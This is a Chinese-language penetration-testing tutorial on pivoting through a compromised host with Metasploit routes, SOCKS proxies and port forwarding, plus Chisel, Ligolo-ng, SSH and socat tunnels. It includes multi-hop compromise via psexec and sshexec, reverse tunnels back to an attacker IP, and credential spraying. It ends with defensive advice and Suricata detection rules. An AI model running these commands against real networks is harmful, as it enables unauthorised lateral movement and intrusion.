Metasploit 內網 Pivot 跳板技術

Metasploit Pivot and Port Forwarding Techniques for Internal Network

什麼是 Pivot 跳板技術?

在滲透測試中,Pivot(跳板)是一種關鍵技術,允許攻擊者透過已控制的主機作為中繼站,存取原本無法直接觸及的內部網路。當目標組織的內網被防火牆隔離,外部無法直接存取時,Pivot 技術就成為深入內網的重要手段。

Pivot 的核心概念

1
2
3
4
5
6
┌─────────────┐     ┌─────────────────┐     ┌─────────────────┐
│  攻擊者     │────▶│  跳板主機        │────▶│  內網目標       │
│  (外網)     │     │  (雙網卡/DMZ)    │     │  (隔離網段)     │
│ 192.168.1.50│     │ 192.168.1.100   │     │ 10.10.10.0/24   │
│             │     │ 10.10.10.5      │     │                 │
└─────────────┘     └─────────────────┘     └─────────────────┘

常見的 Pivot 使用場景

  • DMZ 突破:從 DMZ 區域的已入侵主機進入內部網路
  • 網段隔離繞過:繞過 VLAN 或防火牆的網路分段
  • 多層網路滲透:逐層深入受保護的核心網路
  • 雲端到地端:從雲端環境進入本地數據中心

Meterpreter 路由設定

Metasploit 提供了強大的路由功能,讓攻擊者可以透過 Meterpreter session 存取內網。

檢視目標網路介面

首先,需要確認目標主機的網路配置。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0

Interface 11
============
Name         : Intel(R) Ethernet Connection (External)
Hardware MAC : 00:0c:29:aa:bb:cc
MTU          : 1500
IPv4 Address : 192.168.1.100
IPv4 Netmask : 255.255.255.0

Interface 15
============
Name         : Intel(R) Ethernet Connection (Internal)
Hardware MAC : 00:0c:29:dd:ee:ff
MTU          : 1500
IPv4 Address : 10.10.10.5
IPv4 Netmask : 255.255.255.0

手動新增路由

可以在 Metasploit console 中手動新增路由。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 背景化當前 session
meterpreter > background
[*] Backgrounding session 1...

# 新增路由到內網網段
msf6 exploit(multi/handler) > route add 10.10.10.0 255.255.255.0 1
[*] Route added

# 檢視所有路由
msf6 exploit(multi/handler) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.10.10.0         255.255.255.0      Session 1

# 刪除路由
msf6 exploit(multi/handler) > route remove 10.10.10.0 255.255.255.0 1
[*] Route removed

# 清除所有路由
msf6 exploit(multi/handler) > route flush

透過路由掃描內網

設定路由後,可以直接使用 Metasploit 的掃描模組掃描內網。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,135,139,445,3389
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 10
msf6 auxiliary(scanner/portscan/tcp) > run

[+] 10.10.10.10:22 - TCP OPEN
[+] 10.10.10.20:445 - TCP OPEN
[+] 10.10.10.20:3389 - TCP OPEN
[+] 10.10.10.30:80 - TCP OPEN
[+] 10.10.10.50:22 - TCP OPEN
[*] Scanned 256 of 256 hosts (100% complete)

Autoroute 自動路由模組

Autoroute 是 Meterpreter 中更便捷的路由設定工具。

基本用法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 進入 Meterpreter session
meterpreter > run autoroute -h

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Autoroute Script
================

OPTIONS:
    -d   Delete a specific route (using -s or -p)
    -h   Help menu
    -p   Print active routing table
    -s   Add route to subnet (e.g. 10.10.10.0/24)
    -S   Show routing table (same as -p)

# 自動新增路由到目標主機的所有網段
meterpreter > run autoroute -s 10.10.10.0/24
[*] Adding a route to 10.10.10.0/255.255.255.0...
[+] Added route to 10.10.10.0/255.255.255.0 via 192.168.1.100
[*] Use the -p option to list all active routes

# 顯示已設定的路由
meterpreter > run autoroute -p

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.10.10.0         255.255.255.0      Session 1

# 刪除特定路由
meterpreter > run autoroute -d -s 10.10.10.0/24
[*] Deleting route to 10.10.10.0/255.255.255.0...
[+] Deleted route to 10.10.10.0/255.255.255.0 via 192.168.1.100

使用 Post 模組版本

推薦使用較新的 Post 模組版本。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > show options

Module options (post/multi/manage/autoroute):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CMD      autoadd          yes       Specify the autoroute command (autoadd, add, delete, print)
   NETMASK  255.255.255.0    no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24")
   SESSION                   yes       The session to run this module on
   SUBNET                    no        Subnet (IPv4, for example, 10.10.10.0)

# 自動新增所有可達網段的路由
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set CMD autoadd
msf6 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module (unknown)
[*] Running module against PIVOT-HOST
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.10.10.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.16.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed

SOCKS 代理設定

SOCKS 代理允許外部工具(如 nmap、Burp Suite)透過 Meterpreter session 存取內網。

啟動 SOCKS 代理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > show options

Module options (auxiliary/server/socks_proxy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   SRVHOST   0.0.0.0          yes       The address to listen on
   SRVPORT   1080             yes       The port to listen on
   USERNAME                   no        Proxy username for SOCKS5 listener
   VERSION   5                yes       The SOCKS version to use (4a or 5)

# 設定並啟動 SOCKS5 代理
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > set VERSION 5
msf6 auxiliary(server/socks_proxy) > run -j
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

設定 Proxychains

編輯 proxychains 設定檔以使用 Metasploit 的 SOCKS 代理。

1
2
3
4
5
6
# 編輯 proxychains 設定
sudo nano /etc/proxychains4.conf

# 在檔案末尾加入
[ProxyList]
socks5 127.0.0.1 9050

透過 Proxychains 使用工具

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 使用 nmap 掃描內網
proxychains nmap -sT -Pn -n -p 22,80,443,445,3389 10.10.10.0/24
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.10.10.20
Host is up (0.15s latency).
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

# 使用 curl 存取內網 Web 服務
proxychains curl http://10.10.10.30/
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  10.10.10.30:80  ...  OK
<!DOCTYPE html>
<html>
<head><title>Internal Server</title></head>
...

# 使用 SSH 連接內網主機
proxychains ssh admin@10.10.10.50

使用 SOCKS4a 代理

某些工具可能需要 SOCKS4a 版本。

1
2
3
4
5
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > run -j
[*] Auxiliary module running as background job 1.
[*] Starting the SOCKS proxy server

本地與遠端端口轉發

Meterpreter 提供了靈活的端口轉發功能。

本地端口轉發(Local Port Forwarding)

將攻擊機的本地端口轉發到內網目標。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# 語法:portfwd add -l <local_port> -p <remote_port> -r <remote_host>
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.20
[*] Local TCP relay created: :3389 <-> 10.10.10.20:3389

# 現在可以從攻擊機連接 RDP
# 在攻擊機上執行:
# rdesktop 127.0.0.1:3389 或 xfreerdp /v:127.0.0.1:3389

# 轉發 SSH 端口
meterpreter > portfwd add -l 2222 -p 22 -r 10.10.10.50
[*] Local TCP relay created: :2222 <-> 10.10.10.50:22

# 在攻擊機上執行:
# ssh -p 2222 admin@127.0.0.1

# 轉發 Web 服務
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.30
[*] Local TCP relay created: :8080 <-> 10.10.10.30:80

# 瀏覽器存取:http://127.0.0.1:8080

查看與管理端口轉發

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 列出所有端口轉發
meterpreter > portfwd list

Active Port Forwards
====================

   Index  Local             Remote               Direction
   -----  -----             ------               ---------
   1      0.0.0.0:3389      10.10.10.20:3389     Forward
   2      0.0.0.0:2222      10.10.10.50:22       Forward
   3      0.0.0.0:8080      10.10.10.30:80       Forward

3 total active port forwards.

# 刪除特定端口轉發
meterpreter > portfwd delete -l 3389 -p 3389 -r 10.10.10.20
[*] Successfully stopped TCP relay on 0.0.0.0:3389

# 清除所有端口轉發
meterpreter > portfwd flush
[*] Removing all port forwards
[*] Successfully stopped TCP relay on 0.0.0.0:2222
[*] Successfully stopped TCP relay on 0.0.0.0:8080

遠端端口轉發(Reverse Port Forwarding)

讓內網主機可以連接到攻擊機的服務。

1
2
3
4
5
6
7
8
9
# 語法:portfwd add -R -l <remote_port> -p <local_port> -L <local_host>
meterpreter > portfwd add -R -l 8888 -p 80 -L 192.168.1.50
[*] Local TCP relay created: 10.10.10.5:8888 <-> 192.168.1.50:80

# 現在內網主機可以透過 10.10.10.5:8888 存取攻擊機的 Web 服務

# 反向端口轉發 - 讓內網主機連接攻擊機的監聽器
meterpreter > portfwd add -R -l 4444 -p 4444 -L 192.168.1.50
[*] Local TCP relay created: 10.10.10.5:4444 <-> 192.168.1.50:4444

多層跳板架構

在複雜的網路環境中,可能需要建立多層 Pivot 架構。

多層 Pivot 拓撲

1
2
3
4
5
6
┌────────────┐    ┌────────────┐    ┌────────────┐    ┌────────────┐
│ 攻擊機     │───▶│ Pivot 1    │───▶│ Pivot 2    │───▶│ 最終目標   │
│ 外網       │    │ DMZ        │    │ 內網-1     │    │ 核心網段   │
│192.168.1.50│    │10.10.10.5  │    │172.16.1.10 │    │192.168.100.x│
└────────────┘    │172.16.1.5  │    │192.168.100.5│   └────────────┘
                  └────────────┘    └────────────┘

建立多層 Pivot

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Step 1: 在第一個跳板上建立路由
# Session 1: 192.168.1.50 -> 10.10.10.5
meterpreter > run autoroute -s 172.16.1.0/24
[+] Added route to 172.16.1.0/255.255.255.0 via Session 1

# Step 2: 入侵第二個跳板 (172.16.1.10)
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 172.16.1.10
msf6 exploit(windows/smb/psexec) > set SMBUser admin
msf6 exploit(windows/smb/psexec) > set SMBPass Password123!
msf6 exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > exploit

[*] Meterpreter session 2 opened (10.10.10.5:xxxxx -> 172.16.1.10:4444)

# Step 3: 在第二個跳板上新增路由
meterpreter > run autoroute -s 192.168.100.0/24
[+] Added route to 192.168.100.0/255.255.255.0 via Session 2

# Step 4: 檢視所有路由
msf6 > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   172.16.1.0         255.255.255.0      Session 1
   192.168.100.0      255.255.255.0      Session 2

多層 Pivot 的端口轉發

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 在 Session 1 上設定轉發
meterpreter > portfwd add -l 33890 -p 3389 -r 172.16.1.10
[*] Local TCP relay created: :33890 <-> 172.16.1.10:3389

# 切換到 Session 2,設定到核心網段的轉發
msf6 > sessions -i 2
meterpreter > portfwd add -l 33891 -p 3389 -r 192.168.100.50
[*] Local TCP relay created: :33891 <-> 192.168.100.50:3389

# 在 Session 1 上串接 Session 2 的轉發
msf6 > sessions -i 1
meterpreter > portfwd add -l 33892 -p 33891 -r 172.16.1.10
[*] Local TCP relay created: :33892 <-> 172.16.1.10:33891

使用巢狀 SOCKS 代理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 設定第一層 SOCKS 代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > run -j

# 設定 proxychains 使用多層代理
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 9050
# 如果需要多層,可以使用 proxychains 的 chain 功能

Post 模組與輔助工具

有用的 Post 模組

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 網路探索模組
msf6 > use post/multi/gather/ping_sweep
msf6 post(multi/gather/ping_sweep) > set RHOSTS 10.10.10.0/24
msf6 post(multi/gather/ping_sweep) > set SESSION 1
msf6 post(multi/gather/ping_sweep) > run

[*] Performing ping sweep for IP range 10.10.10.0/24
[+] 10.10.10.1 host found
[+] 10.10.10.5 host found
[+] 10.10.10.20 host found
[+] 10.10.10.30 host found

# ARP 掃描模組
msf6 > use post/windows/gather/arp_scanner
msf6 post(windows/gather/arp_scanner) > set RHOSTS 10.10.10.0/24
msf6 post(windows/gather/arp_scanner) > set SESSION 1
msf6 post(windows/gather/arp_scanner) > run

[*] Running module against PIVOT-HOST
[*] ARP Scanning 10.10.10.0/24
[+]   IP: 10.10.10.1   MAC 00:50:56:c0:00:08
[+]   IP: 10.10.10.20  MAC 00:0c:29:11:22:33
[+]   IP: 10.10.10.30  MAC 00:0c:29:44:55:66

# 列舉網路共享
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 10.10.10.20
msf6 auxiliary(scanner/smb/smb_enumshares) > run

[+] 10.10.10.20:445 - ADMIN$ - Remote Admin
[+] 10.10.10.20:445 - C$ - Default share
[+] 10.10.10.20:445 - SharedDocs - Shared Documents

內網服務掃描

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# SMB 版本掃描
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/smb/smb_version) > run

[+] 10.10.10.20:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1)
    (compression capabilities:LZNT1) (encryption capabilities:AES-256-GCM)
    (signatures:optional) (guid:{12345678-1234-1234-1234-123456789abc})
    (authentication domain:CORP)

# 資料庫服務掃描
msf6 > use auxiliary/scanner/mssql/mssql_ping
msf6 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/mssql/mssql_ping) > run

# Web 伺服器掃描
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/http/http_version) > run

Chisel 與其他替代工具

除了 Metasploit 內建的 Pivot 功能外,還有許多獨立的隧道工具可以使用。

Chisel

Chisel 是一個基於 HTTP 的快速 TCP/UDP 隧道工具。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 攻擊機(Server 模式)
./chisel server -p 8080 --reverse

# 目標機(Client 模式)- 建立反向 SOCKS 代理
./chisel client 192.168.1.50:8080 R:socks

# 目標機 - 建立反向端口轉發
./chisel client 192.168.1.50:8080 R:3389:10.10.10.20:3389

# 目標機 - 多端口轉發
./chisel client 192.168.1.50:8080 R:8080:10.10.10.30:80 R:3389:10.10.10.20:3389

SSH 隧道

如果目標有 SSH 存取權限,可以使用 SSH 隧道。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 動態端口轉發(SOCKS 代理)
ssh -D 9050 -f -N -q user@pivot-host

# 本地端口轉發
ssh -L 3389:10.10.10.20:3389 -f -N user@pivot-host

# 遠端端口轉發
ssh -R 4444:127.0.0.1:4444 -f -N user@pivot-host

# 多層 SSH 隧道
ssh -J user@pivot1 user@pivot2 -D 9050

Ligolo-ng

Ligolo-ng 是一個進階的隧道工具,提供類似 VPN 的功能。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 攻擊機(Proxy 模式)
sudo ./proxy -selfcert

# 目標機(Agent 模式)
./agent -connect 192.168.1.50:11601 -ignore-cert

# 在 Proxy 控制台中
# 列出 agents
ligolo-ng >> session
? Specify a session: 1 - PIVOT-HOST - 192.168.1.100

# 新增路由(需要在攻擊機上設定)
sudo ip route add 10.10.10.0/24 dev ligolo

# 啟動隧道
ligolo-ng >> start

SSF (Secure Socket Funneling)

SSF 提供多種隧道功能的工具。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 啟動 Server
ssfd -p 8080

# 從目標連接並建立 SOCKS 代理
ssf -D 9050 -p 8080 server_ip

# 本地端口轉發
ssf -L 3389:10.10.10.20:3389 -p 8080 server_ip

# 遠端端口轉發
ssf -R 4444:127.0.0.1:4444 -p 8080 server_ip

Netsh 端口轉發(Windows 內建)

在 Windows 系統上可以使用 netsh 進行端口轉發。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 新增端口轉發規則
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=10.10.10.30

# 顯示所有規則
netsh interface portproxy show all

Listen on ipv4:             Connect to ipv4:
Address         Port        Address         Port
--------------- ----------  --------------- ----------
0.0.0.0         8080        10.10.10.30     80

# 刪除規則
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

socat

socat 是一個強大的多功能網路工具。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 簡單端口轉發
socat TCP-LISTEN:8080,fork TCP:10.10.10.30:80

# 建立加密隧道
# 生成憑證
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem -subj "/CN=pivot"

# 啟動加密監聽
socat OPENSSL-LISTEN:443,cert=cert.pem,key=key.pem,verify=0,fork TCP:10.10.10.30:80

# 連接加密隧道
socat TCP-LISTEN:8080,fork OPENSSL:pivot-host:443,verify=0

實戰案例

案例一:DMZ 到內網滲透

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 場景:已取得 DMZ 伺服器的 Meterpreter session
# 目標:存取內網的 Active Directory 網域控制器

# Step 1: 確認網路配置
meterpreter > ipconfig
# 發現 DMZ: 10.0.0.100, 內網: 192.168.10.5

# Step 2: 設定路由
meterpreter > run autoroute -s 192.168.10.0/24
[+] Added route to 192.168.10.0/255.255.255.0 via Session 1

# Step 3: 啟動 SOCKS 代理
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > run -j

# Step 4: 掃描內網域控制器
proxychains nmap -sT -Pn -n -p 88,389,636,445 192.168.10.0/24
# 發現 192.168.10.10 開放 Kerberos (88) 和 LDAP (389)

# Step 5: 設定端口轉發進行進一步測試
meterpreter > portfwd add -l 389 -p 389 -r 192.168.10.10
meterpreter > portfwd add -l 445 -p 445 -r 192.168.10.10

# Step 6: 使用 CrackMapExec 進行認證測試
proxychains crackmapexec smb 192.168.10.10 -u users.txt -p passwords.txt

案例二:雙層跳板存取隔離網段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 場景:需要穿越兩個網段才能到達目標資料庫伺服器
# 網路拓撲:攻擊機 -> Jump1 (10.0.0.5/172.16.0.5) -> Jump2 (172.16.0.10/192.168.100.5) -> DB Server (192.168.100.50)

# Step 1: 在 Jump1 上設定路由
# Session 1: Jump1
meterpreter > run autoroute -s 172.16.0.0/24
[+] Added route to 172.16.0.0/255.255.255.0 via Session 1

# Step 2: 攻擊 Jump2
msf6 > use exploit/linux/ssh/sshexec
msf6 exploit(linux/ssh/sshexec) > set RHOSTS 172.16.0.10
msf6 exploit(linux/ssh/sshexec) > set USERNAME admin
msf6 exploit(linux/ssh/sshexec) > set PASSWORD AdminPass123
msf6 exploit(linux/ssh/sshexec) > set PAYLOAD linux/x64/meterpreter/bind_tcp
msf6 exploit(linux/ssh/sshexec) > exploit

[*] Meterpreter session 2 opened

# Step 3: 在 Jump2 上設定路由
meterpreter > run autoroute -s 192.168.100.0/24
[+] Added route to 192.168.100.0/255.255.255.0 via Session 2

# Step 4: 掃描資料庫伺服器
msf6 > use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.100.50
msf6 auxiliary(scanner/postgres/postgres_login) > run

# Step 5: 設定端口轉發連接資料庫
meterpreter > portfwd add -l 5432 -p 5432 -r 192.168.100.50
[*] Local TCP relay created: :5432 <-> 192.168.100.50:5432

# 在攻擊機上連接資料庫
psql -h 127.0.0.1 -U postgres -d production

防禦建議

網路架構防護

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
1. 網路分段
   - 實施嚴格的 VLAN 分段
   - 使用防火牆限制跨網段流量
   - 實施零信任網路架構

2. 出口流量控制
   - 限制 DMZ 伺服器的出站連接
   - 監控非標準端口的連接
   - 阻擋 SOCKS 和隧道協議

3. 跳板主機強化
   - 限制雙網卡主機的數量
   - 強化 DMZ 伺服器的安全配置
   - 實施嚴格的存取控制

監控與偵測

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# 1. 監控可疑的網路連接
# 檢查異常的內部連接模式
netstat -an | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn

# 2. 監控 SOCKS 代理流量特徵
# 尋找 SOCKS4/5 握手特徵
tcpdump -i eth0 'tcp[20:4] = 0x05010001 or tcp[20:4] = 0x04010000'

# 3. 監控端口轉發活動
# Windows: 檢查 netsh portproxy 規則
netsh interface portproxy show all

# Linux: 檢查 iptables NAT 規則
iptables -t nat -L -n -v

# 4. 監控異常的進程網路活動
# 檢查非預期的監聽端口
lsof -i -P -n | grep LISTEN

入侵偵測規則

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# Suricata 規則範例

# 偵測 Meterpreter HTTPS 流量
alert tls any any -> any any (msg:"Possible Meterpreter HTTPS Traffic"; \
    tls.cert_subject; content:"CN=localhost"; \
    tls.cert_issuer; content:"CN=localhost"; \
    sid:1000001; rev:1;)

# 偵測 Chisel 隧道
alert http any any -> any any (msg:"Possible Chisel Tunnel"; \
    content:"Upgrade: websocket"; nocase; \
    content:"chisel"; nocase; \
    sid:1000002; rev:1;)

# 偵測 SOCKS5 握手
alert tcp any any -> any any (msg:"SOCKS5 Handshake Detected"; \
    content:"|05 01 00|"; offset:0; depth:3; \
    sid:1000003; rev:1;)

安全最佳實踐

措施說明
網路分段使用 VLAN 和防火牆隔離敏感網段
最小權限限制服務帳號和系統的網路存取權限
出口過濾嚴格控制出站流量,特別是 DMZ 區域
行為分析部署 UEBA 偵測異常的網路行為模式
端點防護使用 EDR 偵測可疑的網路活動和程序
日誌監控集中收集並分析網路和系統日誌
漏洞管理定期掃描和修補已知漏洞
滲透測試定期進行紅隊演練驗證防護效果

總結

Pivot 跳板技術是內網滲透測試中不可或缺的技能。透過 Metasploit 的路由設定、SOCKS 代理、端口轉發等功能,以及 Chisel、SSH 隧道等輔助工具,滲透測試人員可以有效地深入目標內網進行安全評估。

防禦方面,組織應該實施嚴格的網路分段、出口流量控制,並部署有效的監控機制來偵測可疑的隧道活動。

參考資料

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy